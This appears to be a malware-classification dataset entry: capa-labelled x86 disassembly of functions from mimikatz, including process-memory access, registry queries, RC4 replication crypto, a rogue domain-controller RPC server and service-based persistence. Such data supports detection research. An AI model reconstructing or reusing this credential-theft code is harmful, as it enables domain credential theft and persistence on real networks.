joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408e1a
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 4]
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], 0x4fdef0
mov ecx, dword [eax]
sub ecx, ebx
push edi
mov dword [esp + 0x10], ebx
je 0x408ef6
dec ecx
je 0x408ed3
dec ecx
dec ecx
je 0x408ea8
sub ecx, 3
jne 0x408ff1
mov edi, dword [ebp + 0xc]
mov ecx, dword [edi + 4]
cmp dword [ecx], ebx
jne 0x408faa
mov ecx, dword [esi]
cmp ecx, ebx
je 0x408e86
mov eax, dword [eax + 4]
push ebx
push ebx
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x408ff1
push ebx
lea eax, [esp + 0x18]
push eax
push dword [ebp + 0x10]
mov eax, dword [esi + 4]
push dword [edi]
mov eax, dword [eax + 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x10], eax
jmp 0x408ff1
mov edi, dword [ebp + 0xc]
mov ecx, dword [edi + 4]
cmp dword [ecx], ebx
jne 0x408faa
push ebx
push esi
push dword [ebp + 0x10]
xor esi, esi
push dword [edi]
push 0x22c187
mov eax, dword [eax + 4]
push dword [eax]
call fcn.00407fb3
add esp, 0x18
jmp 0x408e9f
mov edi, dword [ebp + 0xc]
mov ecx, dword [edi + 4]
cmp dword [ecx], ebx
jne 0x408faa
mov eax, dword [eax + 4]
push ebx
push dword [ebp + 0x10]
push dword [edi]
push dword [esi]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x408e9f
mov edi, dword [ebp + 0xc]
mov eax, dword [edi + 4]
mov ecx, dword [eax]
sub ecx, ebx
je 0x408f91
dec ecx
je 0x408f79
dec ecx
je 0x408f60
dec ecx
je 0x408f4e
sub ecx, 3
jne 0x408ff1
mov eax, dword [eax + 4]
push ebx
push ebx
push dword [edi]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x408ff1
push ebx
lea eax, [esp + 0x18]
push eax
push dword [ebp + 0x10]
mov eax, dword [edi + 4]
push dword [esi]
mov eax, dword [eax + 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x408e9f
push ebx
push esi
push ebx
push dword [edi]
lea esi, [ebp + 0x10]
push 0x22c183
jmp 0x408ec4
push dword [ebp + 0x10]
mov eax, dword [eax + 4]
push dword [edi]
mov edx, dword [eax]
push dword [esi]
call fcn.004093ad
add esp, 0xc
jmp 0x408e9f
mov eax, dword [eax + 4]
push ebx
push dword [ebp + 0x10]
push dword [esi]
push dword [edi]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
jmp 0x408e9f
push dword [ebp + 0x10]
push dword [edi]
push dword [esi]
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov dword [esp + 0x10], 1
jmp 0x408ff1
push dword [ebp + 0x10]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp + 0x18], eax
cmp eax, ebx
je 0x408ff1
push dword [ebp + 0x10]
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.00408e1a
add esp, 0xc
test eax, eax
je 0x408fe7
push dword [ebp + 0x10]
lea eax, [esp + 0x1c]
push eax
push esi
call fcn.00408e1a
add esp, 0xc
mov dword [esp + 0x10], eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4092d5
Capabilities:
Read file via mapping

Disassembly:
push edi
push 8
push 0x40
xor edi, edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esi], eax
cmp eax, edi
je 0x409338
push edi
push edi
push edi
push 2
push edi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ecx, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi]
cmp dword [eax], edi
je 0x409333
push edi
push edi
push edi
push 4
push dword [eax]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [esi]
mov dword [ecx + 4], eax
mov eax, dword [esi]
mov ecx, dword [eax + 4]
cmp ecx, edi
je 0x409333
cmp dword [ecx], 0x504d444d
jne 0x409333
mov edx, 0xa793
cmp word [ecx + 4], dx
jne 0x409333
inc edi
jmp 0x409338
call fcn.0040933c
mov eax, edi
pop edi
ret

Function at 0x409e94
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [esi]
push ebx
mov ebx, 0xc0000004
test eax, eax
je 0x409eb9
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call sub.ntdll.dll_NtQuerySystemInformation
mov ebx, eax
jmp 0x409efa
mov dword [ebp - 4], 0x1000
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esi], eax
test eax, eax
je 0x409efa
lea ecx, [ebp - 8]
push ecx
push dword [ebp - 4]
push eax
push dword [ebp + 8]
call sub.ntdll.dll_NtQuerySystemInformation
mov ebx, eax
test ebx, ebx
jge 0x409eef
push dword [esi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
shl dword [ebp - 4], 1
cmp ebx, 0xc0000004
je 0x409ec0
mov eax, ebx
pop ebx
leave
ret
Function at 0x40a79c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 0x44
pop edi
or eax, 0x10
xor esi, esi
push edi
mov ebx, eax
lea eax, [ebp - 0x4c]
push esi
push eax
mov dword [ebp - 4], esi
call sub.msvcrt.dll_memset
mov dword [ebp - 0x4c], edi
mov edi, dword [ebp + 0x20]
add esp, 0xc
cmp edi, esi
jne 0x40a7de
push 0x10
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
cmp edi, esi
je 0x40a87f
push dword [ebp + 0xc]
call dword [sym.imp.msvcrt.dll__wcsdup]
pop ecx
mov ecx, eax
mov dword [ebp - 8], ecx
cmp ecx, esi
je 0x40a87f
mov eax, dword [ebp + 8]
sub eax, esi
je 0x40a836
dec eax
je 0x40a820
dec eax
jne 0x40a869
push edi
lea eax, [ebp - 0x4c]
push eax
push esi
push esi
push ebx
push ecx
push esi
push dword [ebp + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
jmp 0x40a849
push edi
lea eax, [ebp - 0x4c]
push eax
push esi
push esi
push ebx
push esi
push esi
push esi
push ecx
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x40a849
push edi
lea eax, [ebp - 0x4c]
push eax
push esi
push esi
push ebx
push esi
push esi
push esi
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40a869
cmp dword [ebp + 0x24], esi
jne 0x40a85a
cmp dword [ebp + 0x20], esi
jne 0x40a875
push dword [edi + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [edi]
call ebx
cmp dword [ebp + 0x20], esi
jne 0x40a875
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 8]
call dword [sym.imp.msvcrt.dll_free]
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b9b1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebx]
push esi
xor esi, esi
sub eax, esi
push edi
je 0x40ba3c
dec eax
jne 0x40ba67
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
call fcn.0040b890
pop ecx
pop ecx
xor ecx, ecx
test eax, eax
setne cl
mov esi, ecx
test esi, esi
je 0x40ba67
mov edi, dword [eax + 8]
mov ecx, dword [ebp + 0x10]
and edi, 0x7fffffff
test ecx, ecx
je 0x40b9f9
mov edx, dword [eax + 0x10]
mov dword [ecx], edx
mov ecx, dword [ebp + 0x18]
test ecx, ecx
je 0x40ba67
cmp dword [ebp + 0x14], 0
je 0x40ba38
cmp dword [ecx], edi
sbb esi, esi
inc esi
je 0x40ba38
test dword [eax + 8], 0x80000000
je 0x40ba1b
add eax, 0xc
jmp 0x40ba28
mov ecx, dword [ebx + 4]
mov ecx, dword [ecx + 8]
mov eax, dword [eax + 0xc]
lea eax, [ecx + eax + 4]
push edi
push eax
push dword [ebp + 0x14]
call sub.msvcrt.dll_memcpy
mov ecx, dword [ebp + 0x18]
add esp, 0xc
mov dword [ecx], edi
jmp 0x40ba67
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor ecx, ecx
test eax, eax
sete cl
mov esi, ecx
test esi, esi
jne 0x40ba67
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x40ba6d
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebx]
push esi
xor esi, esi
sub eax, esi
push edi
je 0x40bae2
dec eax
jne 0x40bb0d
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
call fcn.0040b890
pop ecx
pop ecx
test eax, eax
je 0x40bb0d
mov ecx, dword [eax + 8]
mov edi, ecx
and edi, 0x7fffffff
cmp edi, dword [ebp + 0x18]
sbb esi, esi
inc esi
je 0x40bade
mov edx, dword [ebp + 0x10]
mov dword [eax + 0x10], edx
mov edx, SysReAllocString
and ecx, edx
or ecx, dword [ebp + 0x18]
mov dword [eax + 8], ecx
test edx, ecx
je 0x40bac2
add eax, 0xc
jmp 0x40bacf
mov ecx, dword [ebx + 4]
mov ecx, dword [ecx + 8]
mov eax, dword [eax + 0xc]
lea eax, [ecx + eax + 4]
push edi
push dword [ebp + 0x14]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x40bb0d
push 0x32
jmp 0x40bb07
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ecx, ecx
test eax, eax
sete cl
mov esi, ecx
test esi, esi
jne 0x40bb0d
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x40bb13
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ecx]
push ebx
push esi
xor esi, esi
xor ebx, ebx
sub eax, esi
push edi
je 0x40bc1a
dec eax
jne 0x40bc40
mov eax, dword [edx + 0x18]
cmp eax, esi
je 0x40bc40
cmp dword [ebp + 8], eax
jae 0x40bc40
mov eax, dword [edx + 0x20]
cmp eax, 0xffffffff
je 0x40bc40
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + 8]
add eax, ecx
movzx edi, word [eax + 4]
cmp edi, 0x666c
je 0x40bb6e
cmp edi, 0x686c
jne 0x40bc40
movzx edi, word [eax + 6]
cmp di, si
je 0x40bc40
movzx edi, di
cmp dword [ebp + 8], edi
jae 0x40bc40
mov edi, dword [ebp + 8]
mov eax, dword [eax + edi*8 + 8]
add eax, ecx
mov ecx, 0x6b6e
cmp word [eax + 4], cx
jne 0x40bc40
cmp dword [ebp + 0xc], esi
je 0x40bc40
mov edi, dword [ebp + 0x10]
cmp edi, esi
je 0x40bc40
test byte [eax + 6], 0x20
movzx esi, word [eax + 0x4c]
je 0x40bbfa
cmp esi, dword [edi]
sbb ebx, ebx
neg ebx
je 0x40bbf6
lea edi, [eax + 0x50]
call fcn.0040ee76
mov edi, eax
test edi, edi
je 0x40bbea
lea eax, [esi + esi]
push eax
push edi
push dword [ebp + 0xc]
call sub.msvcrt.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov word [ecx + esi*2], ax
mov dword [edi], esi
jmp 0x40bc40
shr esi, 1
cmp esi, dword [edi]
sbb ebx, ebx
neg ebx
je 0x40bbf6
movzx ecx, word [edx + 0x4c]
push ecx
add eax, 0x50
push eax
push dword [ebp + 0xc]
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x40bbed
push esi
push esi
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
xor ebx, ebx
cmp eax, esi
sete bl
cmp ebx, esi
jne 0x40bc40
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret
Function at 0x40bc47
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
xor esi, esi
sub eax, esi
mov dword [ebp - 4], esi
je 0x40bdd1
dec eax
jne 0x40be00
cmp dword [ebp + 0xc], esi
je 0x40bc72
mov eax, dword [ebp + 0xc]
jmp 0x40bc78
mov eax, dword [edi + 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x6b6e
cmp word [eax + 4], cx
jne 0x40be00
mov ecx, dword [eax + 0x28]
cmp ecx, esi
je 0x40be00
cmp edx, ecx
jae 0x40be00
mov ecx, dword [eax + 0x2c]
cmp ecx, 0xffffffff
je 0x40be00
mov eax, dword [edi + 4]
mov eax, dword [eax + 8]
lea edx, [eax + edx*4 + 4]
mov ebx, dword [edx + ecx]
add ebx, eax
mov eax, 0x6b76
cmp word [ebx + 4], ax
jne 0x40be00
cmp dword [ebp + 0x10], esi
je 0x40be00
mov eax, dword [ebp + 0x14]
cmp eax, esi
je 0x40be00
cmp word [ebx + 6], si
je 0x40bd6b
test byte [ebx + 0x14], 1
je 0x40bd01
movzx esi, word [ebx + 6]
lea eax, [esi + 1]
lea edi, [ebx + 0x18]
mov dword [ebp - 8], eax
call fcn.0040ee76
mov esi, dword [ebp - 8]
mov edi, eax
jmp 0x40bd32
movzx eax, word [ebx + 6]
mov esi, eax
add eax, 2
push eax
shr esi, 1
push 0x40
inc esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x40be00
movzx eax, word [ebx + 6]
push eax
lea eax, [ebx + 0x18]
push eax
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
test edi, edi
je 0x40be00
mov eax, dword [ebp + 0x14]
cmp dword [eax], esi
sbb eax, eax
inc eax
mov dword [ebp - 4], eax
je 0x40bd5d
lea eax, [esi + esi]
push eax
push edi
push dword [ebp + 0x10]
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp + 0x14]
add esp, 0xc
dec esi
mov dword [eax], esi
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [ebp + 8]
xor esi, esi
jmp 0x40bd6d
mov dword [eax], esi
cmp dword [ebp - 4], esi
je 0x40be00
mov esi, dword [ebx + 8]
mov eax, dword [ebp + 0x18]
and esi, 0x7fffffff
test eax, eax
je 0x40bd8b
mov ecx, dword [ebx + 0x10]
mov dword [eax], ecx
mov ecx, dword [ebp + 0x20]
test ecx, ecx
je 0x40be00
cmp dword [ebp + 0x1c], 0
je 0x40bdcd
cmp dword [ecx], esi
sbb eax, eax
inc eax
mov dword [ebp - 4], eax
je 0x40bdcd
test dword [ebx + 8], 0x80000000
je 0x40bdb0
add ebx, 0xc
jmp 0x40bdbd
mov eax, dword [edi + 4]
mov eax, dword [eax + 8]
mov ecx, dword [ebx + 0xc]
lea ebx, [eax + ecx + 4]
push esi
push ebx
push dword [ebp + 0x1c]
call sub.msvcrt.dll_memcpy
mov ecx, dword [ebp + 0x20]
add esp, 0xc
mov dword [ecx], esi
jmp 0x40be00
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
xor ecx, ecx
cmp eax, esi
sete cl
mov dword [ebp - 4], ecx
cmp ecx, esi
jne 0x40be00
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40da58
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
mov ebx, dword [esi + 4]
push edi
xor eax, eax
push 0x10
pop edi
lea ecx, [ebp - 0x38]
mov dword [ebp - 8], eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], ecx
cmp dword [0x4fdf0c], eax
je 0x40db89
cmp dword [0x4fdf08], eax
je 0x40db89
cmp dword [esi], 0x14
jb 0x40db82
cmp ebx, eax
je 0x40db82
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Init
push dword [0x4fdf08]
lea eax, [ebp - 0x90]
push dword [0x4fdf0c]
push eax
call sub.cryptdll.dll_MD5Update
push edi
push ebx
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Update
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Final
mov eax, dword [esi]
sub eax, edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], eax
lea eax, [ebx + 0x10]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x28]
push eax
call sub.ADVAPI32.dll_SystemFunction033
test eax, eax
jl 0x40db7b
mov edi, dword [esi]
push 4
lea eax, [ebp - 4]
push eax
sub edi, 0x14
add ebx, 0x14
push edi
push ebx
push 0x8000
mov dword [ebp - 0xc], ebx
call fcn.0040325b
add esp, 0x14
test eax, eax
je 0x40db74
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
cmp dword [ebp - 4], eax
jne 0x40db61
mov ebx, dword [esi + 4]
push edi
call fcn.0040ce91
mov dword [esi + 4], eax
test eax, eax
je 0x40db94
push edi
push dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push ebx
mov dword [esi], edi
mov dword [ebp - 8], 1
call fcn.0040cea0
jmp 0x40db94
push eax
push dword [ebp - 4]
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___Checksums_dont_match__C:0x_08x___R:0x_08x__n
call fcn.00409709
add esp, 0xc
jmp 0x40db94
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___Unable_to_calculate_CRC32_n
jmp 0x40db8e
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___RtlDecryptData2_n
jmp 0x40db8e
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___No_valid_data_n
jmp 0x40db8e
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___No_Session_Key_n
call fcn.00409709
pop ecx
mov eax, dword [ebp - 8]
pop edi
pop ebx
leave
ret
Function at 0x40db9b
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
xor edx, edx
mov ebx, eax
push edi
mov dword [ebp - 8], edx
cmp ebx, edx
jne 0x40dbb6
mov ebx, 0x4fdf08
push 0x10
pop eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi]
lea ecx, [eax + 0x14]
mov dword [ebp - 0xc], ecx
cmp dword [ebx + 4], edx
je 0x40dcc7
cmp dword [ebx], edx
je 0x40dcc7
cmp eax, edx
je 0x40dcc0
cmp dword [esi + 4], edx
je 0x40dcc0
push ecx
call fcn.0040ce91
mov edi, eax
test edi, edi
je 0x40dcd2
push dword [esi]
lea eax, [edi + 0x14]
push dword [esi + 4]
mov dword [ebp - 4], edi
push eax
call sub.msvcrt.dll_memcpy
push 4
lea eax, [edi + 0x10]
push eax
push dword [esi]
lea eax, [edi + 0x14]
push eax
push 0x8000
call fcn.0040325b
add esp, 0x20
test eax, eax
je 0x40dcab
push 0x10
push edi
call sub.cryptdll.dll_CDGenerateRandomBits
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Init
push dword [ebx]
lea eax, [ebp - 0x90]
push dword [ebx + 4]
push eax
call sub.cryptdll.dll_MD5Update
push 0x10
push edi
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Update
lea eax, [ebp - 0x90]
push eax
call sub.cryptdll.dll_MD5Final
mov ebx, dword [ebp - 0xc]
lea eax, [ebx - 0x10]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
lea eax, [edi + 0x10]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
call sub.ADVAPI32.dll_SystemFunction032
test eax, eax
jl 0x40dca4
mov eax, dword [esi + 4]
mov dword [ebp - 4], eax
mov dword [esi + 4], edi
mov dword [esi], ebx
mov dword [ebp - 8], 1
jmp 0x40dcb6
push str.ERROR_kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt___RtlEncryptData2_n
jmp 0x40dcb0
push str.ERROR_kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt___Unable_to_calculate_CRC32_n
call fcn.00409709
pop ecx
push dword [ebp - 4]
call fcn.0040cea0
jmp 0x40dcd2
push str.ERROR_kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt___No_valid_data_n
jmp 0x40dccc
push str.ERROR_kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt___No_Session_Key_n
call fcn.00409709
pop ecx
mov eax, dword [ebp - 8]
pop edi
pop ebx
leave
ret
Function at 0x40e123
Capabilities:
Listen for remote procedure calls

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push dword [ebp + 0xc]
xor edi, edi
push dword [ebp + 8]
xor esi, esi
push 0x4a8ea4
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call fcn.0040e043
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x40e2a6
push ebx
push edi
push edi
push 0xa
push str.ncacn_ip_tcp
call dword [sym.imp.RPCRT4.dll_RpcServerUseProtseqEpW]
mov esi, eax
cmp esi, edi
jne 0x40e28f
push edi
push edi
push 9
push dword [ebp - 0xc]
call dword [sym.imp.RPCRT4.dll_RpcServerRegisterAuthInfoW]
mov esi, eax
cmp esi, edi
jne 0x40e287
push edi
push 0xffffffffffffffff
push 0x4d2
push 8
push edi
push edi
mov ebx, 0x4a8ea0
push ebx
call dword [sym.imp.RPCRT4.dll_RpcServerRegisterIf2]
mov esi, eax
cmp esi, edi
jne 0x40e27f
lea eax, [ebp - 4]
push eax
call dword [sym.imp.RPCRT4.dll_RpcServerInqBindings]
mov esi, eax
cmp esi, edi
jne 0x40e277
mov eax, dword [ebp - 4]
xor esi, esi
cmp dword [eax], edi
jbe 0x40e207
lea ecx, [ebp - 8]
push ecx
push dword [eax + esi*4 + 4]
call dword [sym.imp.RPCRT4.dll_RpcBindingToStringBindingW]
cmp eax, edi
jne 0x40e1f2
push dword [ebp - 8]
push esi
push str.___BindString__u_:__s_n
call fcn.00409709
add esp, 0xc
lea eax, [ebp - 8]
push eax
call dword [sym.imp.RPCRT4.dll_RpcStringFreeW]
jmp 0x40e1ff
push eax
push str.ERROR_kull_m_rpc_drsr_start_server___RpcBindingToStringBinding:__08x_n
call fcn.00409709
pop ecx
pop ecx
mov eax, dword [ebp - 4]
inc esi
cmp esi, dword [eax]
jb 0x40e1c3
push str.mimikatz_Ho__hey__Im_a_DC_:_
push edi
push eax
push ebx
call dword [sym.imp.RPCRT4.dll_RpcEpRegisterW]
mov esi, eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.RPCRT4.dll_RpcBindingVectorFree]
cmp esi, edi
jne 0x40e26f
push str.___RPC_bind_registered_n
call fcn.00409709
pop ecx
push 1
push 0x4d2
push 1
call dword [sym.imp.RPCRT4.dll_RpcServerListen]
mov esi, eax
cmp esi, edi
jne 0x40e251
push str.___RPC_Server_is_waiting__n
call fcn.00409709
jmp 0x40e29b
cmp esi, 0x6b1
jne 0x40e267
push str.___RPC_Server_already_waiting__n
call fcn.00409709
xor esi, esi
jmp 0x40e29b
push esi
push str.ERROR_kull_m_rpc_drsr_start_server___RpcServerListen:__08x_n
jmp 0x40e295
push esi
push str.ERROR_kull_m_rpc_drsr_start_server___RpcEpRegister:__08x_n
jmp 0x40e295
push esi
push str.ERROR_kull_m_rpc_drsr_start_server___RpcServerInqBindings:__08x_n
jmp 0x40e295
push esi
push str.ERROR_kull_m_rpc_drsr_start_server___RpcServerRegisterIf2:__08x_n
jmp 0x40e295
push esi
push str.ERROR_kull_m_rpc_drsr_start_server___RpcServerRegisterAuthInfo:__08x_n
jmp 0x40e295
push esi
push str.ERROR_kull_m_rpc_drsr_start_server___RpcServerUseProtseqEp:__08x_n
call fcn.00409709
pop ecx
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x40ebd2
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push 3
xor esi, esi
push str.ServicesActive
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x40ecfa
push edi
push 0x10
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, esi
je 0x40ec12
push ebx
push str.____s_service_already_registered_n
jmp 0x40ec9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
jne 0x40ec92
push ebx
push str.____s_service_not_present_n
call fcn.00409709
pop ecx
pop ecx
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
push 1
push 2
push dword [ebp + 0x10]
push 0x60010
push dword [ebp + 8]
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov edi, eax
cmp edi, esi
je 0x40ec84
push ebx
push str.____s_service_successfully_registered_n
call fcn.00409709
push edi
call fcn.0040ead3
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40ec76
push ebx
push str.____s_service_ACL_to_everyone_n
jmp 0x40ec9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_service_install___kull_m_service_addWorldToSD__0x_08x__n
jmp 0x40ec9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_service_install___CreateService__0x_08x__n
jmp 0x40ec9e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_service_install___OpenService__0x_08x__n
call fcn.00409709
pop ecx
pop ecx
cmp edi, esi
je 0x40ecee
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40ecc1
push ebx
push str.____s_service_started_n
jmp 0x40ece0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x420
jne 0x40ecd8
push ebx
push str.____s_service_already_started_n
jmp 0x40ece0
call esi
push eax
push str.ERROR_kull_m_service_install___StartService__0x_08x__n
call fcn.00409709
pop ecx
pop ecx
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
jmp 0x40ed0d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_service_install___OpenSCManager_create___0x_08x__n
call fcn.00409709
pop ecx
pop ecx
mov eax, dword [ebp - 4]
pop esi
leave
ret